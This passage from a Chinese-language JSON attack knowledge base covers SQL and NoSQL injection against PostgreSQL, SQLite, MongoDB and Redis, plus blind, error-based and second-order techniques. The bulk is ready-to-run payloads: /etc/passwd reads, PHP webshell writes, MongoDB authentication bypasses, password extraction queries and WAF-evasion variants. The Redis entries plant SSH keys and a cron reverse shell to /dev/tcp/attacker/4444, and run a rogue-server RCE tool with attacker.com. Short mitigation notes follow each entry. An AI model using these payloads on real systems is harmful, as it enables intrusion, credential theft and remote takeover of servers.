"获取列名", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "5. 读取文件", "command": "' UNION SELECT pg_read_file('/etc/passwd'),NULL--\n' UNION SELECT pg_read_binary_file('/etc/passwd'),NULL--", "description": "使用pg_read_file读取文件", "platform": "linux", "syntaxBreakdown": [ { "part": "pg_read_file()", "explanation": "PostgreSQL读取文本文件", "type": "function" }, { "part": "pg_read_binary_file()", "explanation": "读取二进制文件", "type": "function" } ] }, { "title": "6. 写入文件", "command": "' UNION SELECT 'test',COPY (SELECT '') TO '/var/www/html/shell.php'--", "description": "使用COPY写入文件", "platform": "linux", "syntaxBreakdown": [ { "part": "COPY", "explanation": "PostgreSQL COPY命令", "type": "value" }, { "part": "TO", "explanation": "指定输出文件", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "编码绕过", "command": "' UNION SELECT chr(60)||chr(63)||'php system($_GET[c]);'||chr(63)||chr(62),NULL--", "description": "使用chr函数编码", "platform": "all", "syntaxBreakdown": [ { "part": "chr()", "explanation": "返回ASCII字符", "type": "function" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "PostgreSQL注入与其他数据库类似，但有其特有的函数和语法。PostgreSQL提供了丰富的文件操作函数。", "vulnerability": "PostgreSQL注入利用其丰富的类型转换系统和函数库：通过CAST/类型转换触发报错回显，利用pg_sleep()实现延时盲注，COPY TO/FROM进行文件读写操作，以及通过PL/pgSQL创建自定义函数执行系统命令。", "exploitation": "完整利用流程：\n1. 探测注入点\n2. 获取数据库信息\n3. 枚举表和列\n4. 使用pg_read_file读取文件\n5. 使用COPY写入WebShell", "mitigation": "防御措施：\n1. 使用参数化查询\n2. 禁用pg_read_file等函数\n3. 最小权限原则" } }, { "id": "sqli-sqlite-basic", "name": "SQLite注入", "description": "SQLite数据库注入攻击", "category": "SQL/NoSQL注入", "subCategory": "SQLite", "tags": [ "sqli", "sqlite" ], "prerequisites": [ "SQLite数据库", "存在注入点" ], "execution": [ { "title": "1. 探测注入点", "command": "' OR 1=1--\n' UNION SELECT 1,2,3--\n' UNION SELECT NULL,NULL,NULL--", "description": "探测注入点", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果集", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "2. 获取版本", "command": "' UNION SELECT sqlite_version(),NULL--", "description": "获取SQLite版本", "platform": "all", "syntaxBreakdown": [ { "part": "sqlite_version()", "explanation": "SQLite版本函数", "type": "function" } ] }, { "title": "3. 获取表名", "command": "' UNION SELECT name,NULL FROM sqlite_master WHERE type='table'--", "description": "获取所有表名", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果集", "type": "keyword" }, { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "4. 获取表结构", "command": "' UNION SELECT sql,NULL FROM sqlite_master WHERE name='users'--", "description": "获取建表语句", "platform": "all", "syntaxBreakdown": [ { "part": "sql", "explanation": "建表SQL语句", "type": "value" } ] }, { "title": "5. 读取文件", "command": "' UNION SELECT load_extension('libsqlite3.so'),NULL--\n' UNION SELECT readfile('/etc/passwd'),NULL--", "description": "读取文件(需要扩展)", "platform": "all", "syntaxBreakdown": [ { "part": "load_extension", "explanation": "加载扩展库", "type": "value" }, { "part": "readfile", "explanation": "读取文件(需扩展)", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "SQLite字符编码绕过", "command": "' UNION SELECT CHAR(116,101,115,116),NULL--\n' UNION SELECT X'746573746461746131',NULL--\n' AND typeof(CASE WHEN unicode(substr((SELECT name FROM sqlite_master LIMIT 1),1,1))>96 THEN 1 ELSE 0.0 END)='integer'--", "description": "使用CHAR()函数构造字符串、X前缀十六进制字面量、typeof()和unicode()进行类型推断盲注绕过WAF", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "CASE WHEN", "explanation": "条件表达式", "type": "keyword" }, { "part": "SUBSTRING", "explanation": "字符串截取", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "SQLite运算符与函数替代", "command": "' AND (SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%user%')--\n' AND (SELECT name FROM sqlite_master WHERE type='table' AND name GLOB '*user*')--\n' UNION SELECT replace(group_concat(name,','),'_',''),NULL FROM sqlite_master WHERE type='table'--\n' AND instr((SELECT sql FROM sqlite_master LIMIT 1),'password')>0--", "description": "使用LIKE/GLOB模式匹配替代等号、instr()替代SUBSTRING、group_concat配合replace混淆数据", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "GROUP_CONCAT", "explanation": "分组拼接", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "SQLite是嵌入式数据库引擎，广泛用于移动应用、桌面软件和小型Web应用。其注入测试需要了解SQLite特有的语法和系统表(sqlite_master)结构。", "vulnerability": "SQLite注入的特殊性在于：通过sqlite_master表枚举所有表和视图定义，使用typeof()确定列类型，利用group_concat()聚合多行数据，ATTACH DATABASE可创建新数据库文件实现写文件操作。", "exploitation": "SQLite注入利用步骤：1)通过sqlite_master获取表结构 2)使用UNION SELECT提取数据 3)利用ATTACH DATABASE写入webshell到可访问目录 4)或通过load_extension()加载恶意共享库执行代码。", "mitigation": "防御SQLite注入：使用参数化查询(PreparedStatement)，严格验证和过滤用户输入，限制数据库文件权限防止ATTACH操作，禁用load_extension()功能，将数据库文件存放在Web根目录之外。" } }, { "id": "sqli-mongodb-basic", "name": "MongoDB注入", "description": "NoSQL数据库注入攻击技术", "category": "SQL/NoSQL注入", "subCategory": "MongoDB", "tags": [ "nosql", "mongodb", "injection" ], "prerequisites": [ "目标使用MongoDB", "存在用户输入拼接查询" ], "execution": [ { "title": "1. 探测注入点", "command": "{\"username\": \"admin\", \"password\": \"password\"}\n{\"username\": \"admin\", \"password\": {\"$ne\": \"\"}}\n{\"username\": \"admin\", \"password\": {\"$gt\": \"\"}}", "description": "探测MongoDB注入", "platform": "all", "syntaxBreakdown": [ { "part": "$ne", "explanation": "不等于操作符", "type": "variable" }, { "part": "$gt", "explanation": "大于操作符", "type": "variable" } ] }, { "title": "2. 绕过认证", "command": "{\"username\": \"admin\", \"password\": {\"$ne\": \"wrongpass\"}}\n{\"username\": {\"$ne\": \"\"}, \"password\": {\"$ne\": \"\"}}", "description": "绕过登录认证", "platform": "all", "syntaxBreakdown": [ { "part": "$ne", "explanation": "不等于，返回所有密码不为wrongpass的用户", "type": "variable" } ] }, { "title": "3. 逻辑运算注入", "command": "{\"username\": \"admin\", \"password\": {\"$or\": [{\"password\": \"realpass\"}, {\"1\": \"1\"}]}}", "description": "使用$or逻辑运算", "platform": "all", "syntaxBreakdown": [ { "part": "$or", "explanation": "或运算符", "type": "variable" } ] }, { "title": "4. 正则注入", "command": "{\"username\": {\"$regex\": \"^admin\"}, \"password\": {\"$ne\": \"\"}}", "description": "正则表达式注入", "platform": "all", "syntaxBreakdown": [ { "part": "$regex", "explanation": "正则匹配操作符", "type": "variable" }, { "part": "^admin", "explanation": "以admin开头", "type": "value" } ] }, { "title": "5. $where注入", "command": "{\"$where\": \"this.username == 'admin' && this.password.match(/.*/)\"}", "description": "$where子句JavaScript注入", "platform": "all", "syntaxBreakdown": [ { "part": "$where", "explanation": "执行JavaScript代码", "type": "variable" }, { "part": "this.username", "explanation": "当前文档的字段", "type": "value" } ] }, { "title": "6. 盲注提取数据", "command": "{\"username\": {\"$regex\": \"^a\"}}\n{\"username\": {\"$regex\": \"^ad\"}}\n{\"username\": {\"$regex\": \"^adm\"}}\n逐字符枚举用户名", "description": "使用正则逐字符提取", "syntaxBreakdown": [ { "part": "{\"username\":", "explanation": "命令/载荷起始", "type": "command" }, { "part": " {\"$regex\": \"^a\"}}\n{\"username\": {\"$regex\": \"^ad\"}}\n{\"username\": {\"$regex\": \"^adm\"}}\n逐字符枚举用户名", "explanation": "参数与载荷内容", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "Unicode绕过", "command": "{\"username\": {\"\\u0024ne\": \"\"}}\n使用Unicode编码$符号", "description": "Unicode编码绕过", "platform": "all", "syntaxBreakdown": [ { "part": "\\uXXXX", "explanation": "Unicode编码", "type": "encoding" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "MongoDB是最流行的NoSQL数据库之一，其查询使用JSON格式而非SQL语法。NoSQL注入通过操纵查询运算符($gt/$ne/$regex等)来绕过认证或提取数据，攻击面与传统SQL注入截然不同。", "vulnerability": "MongoDB注入利用JSON查询运算符绕过认证：$ne(不等于)绕过密码验证、$gt(大于)匹配任意值、$regex进行正则盲注提取数据、$where注入JavaScript代码执行服务端脚本，以及聚合管道注入进行复杂数据操作。", "exploitation": "完整利用流程：\n1. 探测注入点\n2. 使用操作符绕过认证\n3. 使用正则逐字符提取数据\n4. 尝试$where执行JavaScript", "mitigation": "防御措施：\n1. 使用参数化查询\n2. 输入验证\n3. 禁用$where操作符\n4. 最小权限原则" } }, { "id": "sqli-redis", "name": "Redis未授权访问", "description": "Redis未授权访问和命令注入", "category": "SQL/NoSQL注入", "subCategory": "Redis", "tags": [ "redis", "nosql", "injection" ], "prerequisites": [ "Redis服务可访问", "未授权或弱密码" ], "execution": [ { "title": "1. 探测Redis", "command": "redis-cli -h target.com ping\nredis-cli -h target.com info", "description": "探测Redis服务", "platform": "all", "syntaxBreakdown": [ { "part": "redis-cli", "explanation": "Redis命令行客户端", "type": "value" }, { "part": "ping", "explanation": "测试连接", "type": "command" }, { "part": "info", "explanation": "获取服务器信息", "type": "value" } ] }, { "title": "2. 未授权访问", "command": "redis-cli -h target.com\n> INFO\n> KEYS *\n> GET sensitive_key", "description": "未授权访问Redis", "platform": "all", "syntaxBreakdown": [ { "part": "INFO", "explanation": "获取Redis信息", "type": "value" }, { "part": "KEYS *", "explanation": "列出所有键", "type": "value" } ] }, { "title": "3. 写入Webshell", "command": "redis-cli -h target.com\n> CONFIG SET dir /var/www/html/\n> CONFIG SET dbfilename shell.php\n> SET shell \"\"\n> SAVE", "description": "写入Webshell", "platform": "linux", "syntaxBreakdown": [ { "part": "CONFIG SET dir", "explanation": "设置RDB文件保存目录", "type": "value" }, { "part": "CONFIG SET dbfilename", "explanation": "设置RDB文件名", "type": "value" }, { "part": "SAVE", "explanation": "保存数据库到文件", "type": "value" } ] }, { "title": "4. 写入SSH公钥", "command": "redis-cli -h target.com\n> CONFIG SET dir /root/.ssh/\n> CONFIG SET dbfilename authorized_keys\n> SET sshkey \"ssh-rsa AAAA...\"\n> SAVE", "description": "写入SSH公钥", "platform": "linux", "syntaxBreakdown": [ { "part": "redis-cli -h target.com", "explanation": "第1步操作", "type": "command" }, { "part": "> CONFIG SET dir /root/.ssh/", "explanation": "第2步操作", "type": "value" }, { "part": "> CONFIG SET dbfilename authorized_keys", "explanation": "第3步操作", "type": "value" }, { "part": "> SET sshkey \"ssh-rsa AAAA...\"", "explanation": "第4步操作", "type": "value" }, { "part": "> SAVE", "explanation": "第5步操作", "type": "value" } ] }, { "title": "5. 写入Cron任务", "command": "redis-cli -h target.com\n> CONFIG SET dir /var/spool/cron/\n> CONFIG SET dbfilename root\n> SET cron \"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker/4444 0>&1\\n\\n\"\n> SAVE", "description": "写入Cron任务", "platform": "linux", "syntaxBreakdown": [ { "part": "/var/spool/cron/", "explanation": "Cron任务目录", "type": "path" }, { "part": "*/1 * * * *", "explanation": "每分钟执行", "type": "value" } ] }, { "title": "6. 主从复制RCE", "command": "使用redis-rogue-server工具:\npython redis-rogue-server.py --rhost target.com --lhost attacker.com\n通过主从复制加载恶意模块执行命令", "description": "主从复制RCE", "platform": "linux", "syntaxBreakdown": [ { "part": "使用redis-rogue-server工具:", "explanation": "第1步操作", "type": "command" }, { "part": "python redis-rogue-server.py --rhost target.com --lhost attacker.com", "explanation": "第2步操作", "type": "value" }, { "part": "通过主从复制加载恶意模块执行命令", "explanation": "第3步操作", "type": "value" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "Redis命令混淆绕过", "command": "redis-cli -h target.com\n> \"C\"\"O\"\"N\"\"F\"\"I\"\"G\" SET dir /var/www/html/\n> $(printf 'CONF')$(printf 'IG') SET dbfilename shell.php\n> SET shell \"\"\n> SAVE", "description": "使用引号分割命令字符串、拼接变量等方式混淆Redis命令绕过WAF检测", "syntaxBreakdown": [ { "part": "system()", "explanation": "系统命令执行", "type": "function" }, { "part": "$()", "explanation": "命令替换", "type": "operator" } ] }, { "title": "Redis Lua脚本执行绕过", "command": "redis-cli -h target.com\n> EVAL \"redis.call('set','shell','')\" 0\n> EVAL \"redis.call('config','set','dir','/var/www/html/')\" 0\n> EVAL \"redis.call('config','set','dbfilename','test.php')\" 0\n> EVAL \"redis.call('save')\" 0", "description": "通过EVAL执行Lua脚本间接调用Redis命令，绕过对CONFIG/SET等直接命令的检测", "syntaxBreakdown": [ { "part": "system()", "explanation": "系统命令执行", "type": "function" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "Redis是高性能的键值对存储系统，常被用作缓存和消息队列。Redis注入通过CRLF注入或未授权访问执行任意Redis命令，可导致数据泄露、写入webshell甚至通过主从复制RCE。", "vulnerability": "Redis漏洞主要包括：未授权访问(默认无密码)导致任意命令执行，CRLF注入将恶意Redis命令注入合法请求中，CONFIG SET修改持久化路径写入crontab或SSH公钥，以及通过主从复制加载恶意模块实现RCE。", "exploitation": "完整利用流程：\n1. 探测Redis服务\n2. 尝试未授权访问\n3. 写入Webshell/SSH公钥/Cron任务\n4. 或使用主从复制RCE", "mitigation": "防御措施：\n1) 设置强密码\n2) 绑定内网IP\n3) 禁用CONFIG命令\n4) 使用普通用户运行Redis" } }, { "id": "sqli-blind", "name": "布尔盲注", "description": "基于布尔条件的SQL盲注技术", "category": "SQL/NoSQL注入", "subCategory": "盲注", "tags": [ "sqli", "blind", "boolean" ], "prerequisites": [ "存在SQL注入", "页面有真/假两种不同响应" ], "execution": [ { "title": "1. 确认盲注", "command": "' AND 1=1-- (返回正常)\n' AND 1=2-- (返回异常)\n确认存在布尔盲注", "description": "确认布尔盲注", "platform": "all", "syntaxBreakdown": [ { "part": "AND 1=1", "explanation": "永真条件", "type": "value" }, { "part": "AND 1=2", "explanation": "永假条件", "type": "value" } ] }, { "title": "2. 获取数据库名长度", "command": "' AND LENGTH(database())=1--\n' AND LENGTH(database())=2--\n...\n' AND LENGTH(database())=N--\n直到返回正常", "description": "枚举数据库名长度", "platform": "all", "syntaxBreakdown": [ { "part": "LENGTH()", "explanation": "返回字符串长度", "type": "function" } ] }, { "title": "3. 逐字符枚举数据库名", "command": "' AND ASCII(SUBSTRING(database(),1,1))>97--\n' AND ASCII(SUBSTRING(database(),1,1))>100--\n...\n使用二分法快速定位字符", "description": "逐字符提取数据库名", "platform": "all", "syntaxBreakdown": [ { "part": "SUBSTRING(str,pos,len)", "explanation": "截取子字符串", "type": "value" }, { "part": "ASCII()", "explanation": "返回ASCII码值", "type": "function" } ] }, { "title": "4. 使用工具自动化", "command": "sqlmap -u \"http://target.com?id=1\" --technique=B --dbs\n使用sqlmap进行布尔盲注", "description": "使用sqlmap自动化", "platform": "all", "syntaxBreakdown": [ { "part": "--technique=B", "explanation": "指定布尔盲注技术", "type": "parameter" }, { "part": "--dbs", "explanation": "枚举数据库", "type": "parameter" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "布尔盲注条件表达式替代", "command": "' AND (CASE WHEN (MID(database(),1,1)='a') THEN 1 ELSE 0 END)=1--\n' AND LEFT(database(),1)>'a'--\n' AND RIGHT(LEFT(database(),2),1)='d'--\n' AND ORD(MID(database(),1,1))BETWEEN 97 AND 122--", "description": "使用CASE WHEN替代IF()、MID()替代SUBSTRING()、LEFT/RIGHT组合截取、BETWEEN替代大于小于比较", "syntaxBreakdown": [ { "part": "CASE WHEN", "explanation": "条件表达式", "type": "keyword" }, { "part": "SUBSTRING", "explanation": "字符串截取", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "布尔盲注数学运算与位运算绕过", "command": "' AND (SELECT CONV(HEX(SUBSTR(database(),1,1)),16,10))>96--\n' AND (SELECT ORD(MID(database(),1,1))&0x40)=0x40--\n' AND (SELECT POW(ORD(MID(database(),1,1)),0))+0=1--\n' DIV 1 AND (SELECT LENGTH(database()))>0--", "description": "使用HEX/CONV进行编码比较、位与运算(&)判断字符范围、POW()数学函数混淆、DIV替代AND", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "SUBSTRING", "explanation": "字符串截取", "type": "function" }, { "part": "HEX()", "explanation": "十六进制编码", "type": "encoding" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "SQL盲注是指注入成功但页面不直接回显数据的场景，需要通过条件判断(布尔盲注)或时间延迟(时间盲注)来逐字符推断数据，是实战中最常见的注入类型。", "vulnerability": "SQL盲注漏洞存在于所有未正确参数化的查询中，攻击者通过构造布尔条件(AND 1=1 vs AND 1=2)观察页面差异，或使用SLEEP/BENCHMARK等延时函数判断条件真假，逐位提取数据库中的任意信息。", "exploitation": "完整利用流程：\n1. 确认布尔盲注存在\n2. 枚举数据长度\n3. 逐字符提取数据\n4. 使用工具自动化", "mitigation": "防御SQL盲注：使用参数化查询/预编译语句，实施WAF规则检测异常条件语句和延时函数，监控慢查询日志发现异常SLEEP请求，设置数据库查询超时限制，以及部署RASP实时检测SQL注入行为。" } }, { "id": "sqli-time-based", "name": "时间盲注", "description": "基于时间延迟的SQL盲注技术", "category": "SQL/NoSQL注入", "subCategory": "盲注", "tags": [ "sqli", "blind", "time" ], "prerequisites": [ "存在SQL注入", "页面响应时间可控" ], "execution": [ { "title": "1. 确认时间盲注", "command": "' AND SLEEP(5)--\n' AND IF(1=1,SLEEP(5),0)--\n观察响应是否延迟5秒", "description": "确认时间盲注", "platform": "all", "syntaxBreakdown": [ { "part": "SLEEP(5)", "explanation": "MySQL延时5秒", "type": "value" }, { "part": "IF(cond,true,false)", "explanation": "条件判断函数", "type": "value" } ] }, { "title": "2. 获取数据库名长度", "command": "' AND IF(LENGTH(database())=N,SLEEP(5),0)--\n枚举数据库名长度", "description": "枚举数据库名长度", "platform": "all", "syntaxBreakdown": [ { "part": "SLEEP()", "explanation": "延时函数", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "3. 逐字符提取", "command": "' AND IF(ASCII(SUBSTRING(database(),1,1))>97,SLEEP(5),0)--\n使用二分法提取字符", "description": "逐字符提取数据", "platform": "all", "syntaxBreakdown": [ { "part": "SLEEP()", "explanation": "延时函数", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "4. 不同数据库延时函数", "command": "MySQL: SLEEP(5), BENCHMARK()\nMSSQL: WAITFOR DELAY '0:0:5'\nPostgreSQL: pg_sleep(5)\nOracle: DBMS_LOCK.SLEEP(5)", "description": "各数据库延时函数", "platform": "all", "syntaxBreakdown": [ { "part": "WAITFOR DELAY", "explanation": "MSSQL延时", "type": "value" }, { "part": "pg_sleep()", "explanation": "PostgreSQL延时", "type": "function" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "时间延迟替代函数绕过", "command": "' AND BENCHMARK(5000000,SHA1('test'))--\n' AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)--\n' AND GET_LOCK('sqli_test',5)--\n' AND (CASE WHEN database() LIKE '%' THEN BENCHMARK(3000000,MD5('x')) ELSE 0 END)--", "description": "使用BENCHMARK()替代SLEEP()、笛卡尔积重查询消耗时间、GET_LOCK()锁等待、CASE条件触发延时", "syntaxBreakdown": [ { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "BENCHMARK", "explanation": "基准测试延迟", "type": "function" }, { "part": "CASE WHEN", "explanation": "条件表达式", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "跨数据库时间延迟绕过", "command": "PostgreSQL: ' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--\nMSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--\nOracle: ' AND 1=CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END--\nMySQL: ' AND (SELECT SLEEP(5) FROM DUAL WHERE 1=1)--", "description": "利用各数据库特有的时间延迟方法：PostgreSQL的pg_sleep条件触发、MSSQL的IF条件WAITFOR、Oracle的DBMS_PIPE.RECEIVE_MESSAGE替代DBMS_LOCK", "syntaxBreakdown": [ { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "WHERE", "explanation": "条件筛选", "type": "keyword" }, { "part": "SLEEP()", "explanation": "时间延迟", "type": "function" }, { "part": "WAITFOR DELAY", "explanation": "MSSQL延迟", "type": "keyword" }, { "part": "CASE WHEN", "explanation": "条件表达式", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "SQL时间盲注通过注入延时函数(如SLEEP/WAITFOR/pg_sleep)来判断条件真假，适用于页面无任何可观察差异的场景，是最隐蔽但效率最低的注入方式。", "vulnerability": "SQL时间盲注利用数据库内置的延时功能：MySQL的SLEEP()和BENCHMARK()、MSSQL的WAITFOR DELAY、PostgreSQL的pg_sleep()、Oracle的DBMS_LOCK.SLEEP()。通过条件语句控制延时触发，逐字符推断目标数据。", "exploitation": "完整利用流程：\n1. 确认时间盲注存在\n2. 枚举数据长度\n3. 逐字符提取\n4. 使用sqlmap自动化", "mitigation": "防御SQL时间盲注：除参数化查询外，还应设置严格的数据库查询超时(如5秒)，监控异常慢查询模式，WAF检测SLEEP/WAITFOR/BENCHMARK等延时函数关键词，限制单IP的并发查询数量。" } }, { "id": "sqli-error-based", "name": "报错注入", "description": "利用错误信息提取数据的SQL注入", "category": "SQL/NoSQL注入", "subCategory": "报错注入", "tags": [ "sqli", "error", "extractvalue" ], "prerequisites": [ "存在SQL注入", "错误信息会显示在页面上" ], "execution": [ { "title": "1. 确认报错注入", "command": "' AND extractvalue(1,concat(0x7e,version()))--\n' AND updatexml(1,concat(0x7e,version()),1)--", "description": "测试报错注入", "platform": "all", "syntaxBreakdown": [ { "part": "extractvalue()", "explanation": "MySQL XML提取函数", "type": "function" }, { "part": "updatexml()", "explanation": "MySQL XML更新函数", "type": "function" }, { "part": "concat(0x7e,...)", "explanation": "拼接波浪号标记", "type": "value" } ] }, { "title": "2. 获取数据库信息", "command": "' AND extractvalue(1,concat(0x7e,database()))--\n' AND extractvalue(1,concat(0x7e,user()))--\n' AND extractvalue(1,concat(0x7e,version()))--", "description": "获取基础信息", "platform": "all", "syntaxBreakdown": [ { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "EXTRACTVALUE", "explanation": "报错注入函数", "type": "function" } ] }, { "title": "3. 获取表名", "command": "' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database())))--", "description": "获取表名", "platform": "all", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "4. 获取数据", "command": "' AND extractvalue(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1)))--", "description": "提取数据", "platform": "all", "syntaxBreakdown": [ { "part": "SELECT", "explanation": "查询数据", "type": "keyword" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "EXTRACTVALUE", "explanation": "报错注入函数", "type": "function" } ] }, { "title": "5. 其他报错函数", "command": "' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--\n' AND EXP(~(SELECT * FROM (SELECT version())a))--", "description": "其他报错注入方法", "platform": "all", "syntaxBreakdown": [ { "part": "FLOOR(RAND(0)*2)", "explanation": "产生重复键错误", "type": "value" }, { "part": "EXP()", "explanation": "数学函数溢出报错", "type": "function" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "替代报错函数绕过", "command": "' AND GEOMETRYCOLLECTION((SELECT * FROM (SELECT * FROM (SELECT version())a)b))--\n' AND (SELECT 1 FROM (SELECT NTILE(1) OVER(ORDER BY (SELECT version())))a)--\n' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version())) USING utf8)))--\n' AND ST_LatFromGeoHash(version())--", "description": "使用GEOMETRYCOLLECTION空间函数、JSON_KEYS、ST_LatFromGeoHash等冷门函数替代extractvalue/updatexml触发报错", "syntaxBreakdown": [ { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "ORDER BY", "explanation": "排序/列数探测", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "编码与科学计数法绕过", "command": "' AND extractvalue(1,concat(0x7e,(SELECT unhex(hex(database())))))--\n' AND 1=1 AND EXP(~(SELECT * FROM (SELECT CONCAT(0x7e,database(),0x7e) x)a))--\n' AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.schemata GROUP BY x)a)--\n' %26%26 updatexml(1,concat(0x7e,(select%20database())),1)--%20", "description": "使用unhex(hex())双层编码、EXP()科学计数法溢出、URL双重编码（%26%26替代AND）绕过WAF检测", "syntaxBreakdown": [ { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "information_schema", "explanation": "元数据库", "type": "value" }, { "part": "CONCAT", "explanation": "字符串拼接", "type": "function" }, { "part": "HEX()", "explanation": "十六进制编码", "type": "encoding" }, { "part": "UNHEX()", "explanation": "十六进制解码", "type": "encoding" }, { "part": "--", "explanation": "SQL注释", "type": "operator" }, { "part": "%xx", "explanation": "URL编码", "type": "encoding" } ] } ], "edrBypass": [], "references": [], "tutorial": { "overview": "SQL报错注入利用数据库错误信息直接回显数据，通过构造特定的函数调用(如updatexml/extractvalue/exp)使数据库在错误消息中输出查询结果，效率远高于盲注。", "vulnerability": "SQL报错注入利用数据库在处理非法输入时将内部数据暴露在错误信息中：MySQL的updatexml()/extractvalue()/exp()溢出、MSSQL的convert()/cast()类型转换错误、PostgreSQL的cast()错误，以及Oracle的XMLType()等函数。", "exploitation": "完整利用流程：\n1. 确认报错注入存在\n2. 使用extractvalue/updatexml提取数据\n3. 枚举数据库结构\n4. 提取敏感数据", "mitigation": "防御SQL报错注入：生产环境必须关闭详细错误信息显示(display_errors=off)，使用自定义错误页面替代默认数据库错误，记录错误日志但不向用户展示，使用参数化查询从根本上防止注入。" } }, { "id": "sqli-second-order", "name": "二阶SQL注入", "description": "存储后触发的SQL注入攻击", "category": "SQL/NoSQL注入", "subCategory": "二阶注入", "tags": [ "sqli", "second-order", "stored" ], "prerequisites": [ "存在数据存储功能", "存储数据被二次使用" ], "execution": [ { "title": "1. 探测二阶注入", "command": "注册用户名: admin'--\n或: admin' OR '1'='1\n登录后查看是否影响其他功能", "description": "探测二阶注入点", "platform": "all", "syntaxBreakdown": [ { "part": "OR '1'='1'", "explanation": "逻辑永真", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] }, { "title": "2. 用户名注入", "command": "注册用户: admin' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT password FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -\n登录触发报错注入", "description": "用户名触发注入", "platform": "all", "syntaxBreakdown": [ { "part": "FLOOR(RAND(0)*2)", "explanation": "报错注入关键", "type": "value" }, { "part": "GROUP BY x", "explanation": "触发重复键错误", "type": "value" } ] }, { "title": "3. 密码重置注入", "command": "输入邮箱: ' OR '1'='1\n可能触发密码重置所有用户", "description": "密码重置功能注入", "platform": "all", "syntaxBreakdown": [ { "part": "OR '1'='1'", "explanation": "逻辑永真", "type": "keyword" } ] }, { "title": "4. 订单/评论注入", "command": "提交评论: ' UNION SELECT username,password FROM users--\n管理员查看评论时触发", "description": "评论触发注入", "platform": "all", "syntaxBreakdown": [ { "part": "UNION", "explanation": "合并查询结果", "type": "keyword" }, { "part": "SELECT...FROM", "explanation": "查询数据", "type": "keyword" }, { "part": "--", "explanation": "SQL注释", "type": "operator" } ] } ], "opsecTips": [], "wafBypass": [ { "title": "编码存储触发绕过", "command": "注册用户名: admin'/*\n随后修改密码时SQL变为: UPDATE users SET 